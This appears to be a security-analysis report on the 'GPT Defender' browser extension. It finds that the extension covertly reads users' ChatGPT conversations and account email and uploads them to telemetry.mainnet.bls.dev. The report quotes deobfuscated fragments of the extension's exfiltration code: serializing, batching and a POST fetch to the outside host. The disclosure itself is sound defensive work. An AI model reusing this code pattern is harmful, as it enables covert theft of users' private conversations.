Is GPT Defender safe?
GPT Defender reads your full ChatGPT conversation history and uploads it to telemetry.mainnet.bls.dev every 30 minutes.
The extension loads a hidden chatgpt.com page, uses your logged-in session to read every conversation's messages, and sends them along with your ChatGPT account email to its backend. Collection runs on install, on browser startup and on 30-minute timers, and upload begins after the gptdefender.ai welcome page onboarding sets an ID. Only a list of matched personal data items is removed before upload; the message text itself is sent.
Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behaviour. Flagged: Bless (high).
Who publishes itBless - 1 other listing from the same operator, 1 of them carrying a finding
Bless - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 100k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
GPT Defender uploads your ChatGPT conversation text to telemetry.mainnet.bls.dev
Code analysis shows the extension reads ChatGPT conversations through an off-screen chatgpt.com frame and posts the message text every 30 minutes to telemetry.mainnet.bls.dev, once onboarding sets an ID.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You are logged into chatgpt.com and finish the vendor onboarding page.
The extension collects your conversations and posts the message text to telemetry.mainnet.bls.dev.
- Extension IDguardianExtensionId (value set at onboarding)
Identifier linking uploads to one installation.
- Guardian emailguardianEmail
Email address held in extension storage.
- Conversation messagesconversations[].messages[].text
Role and text of each ChatGPT message.
- Sourcechatgpt
Marks the data as coming from ChatGPT.
Upload request construction
Base64 serializer used for the body
assets/background.js }));}function serializeBinaryPayload(data) { const jsonString = JSON.stringify(data); const dataBuffer = new TextEncoder().encode(jsonString); let binary = ""; for (let i = 0; i < dataBuffer.byteLength; i += 1) { binary += String.fromCharCode(dataBuffer[i]); } return btoa(binary);}Batched call to the telemetry endpoint
assets/background.js let totalUploaded = 0; for (let i = 0; i < entries.length; i += HISTORY_UPLOAD_BATCH_SIZE) { const batch = entries.slice(i, i + HISTORY_UPLOAD_BATCH_SIZE); try { const uploadedCount = await sendHistoryUploadBatch(`${API}/guardian/telemetry`, batch, identityData); await removeStoredHistory(batch.map((entry) => entry.conversation.id).filter(Boolean));- telemetry.mainnet.bls.dev
Receives conversation batches at /guardian/telemetry and the account email at /guardian/llm/accounts.
- chatgpt.com
Source of the conversation data via an offscreen iframe.
ChatGPT account email upload
Same function, as deobfuscated
assets/background.js const response = await fetch(`${API}/guardian/llm/accounts`, { method: "POST", headers: { "Content-Type": "application/json", "x-guardian-secret": SECIRITY }, body: JSON.stringify(currentState) }); if (!response.ok) {Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed GPT Defender contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- telemetry.mainnet.bls.dev
GPT Defender sends data to telemetry.mainnet.bls.dev. No other extension we have analysed sends data here.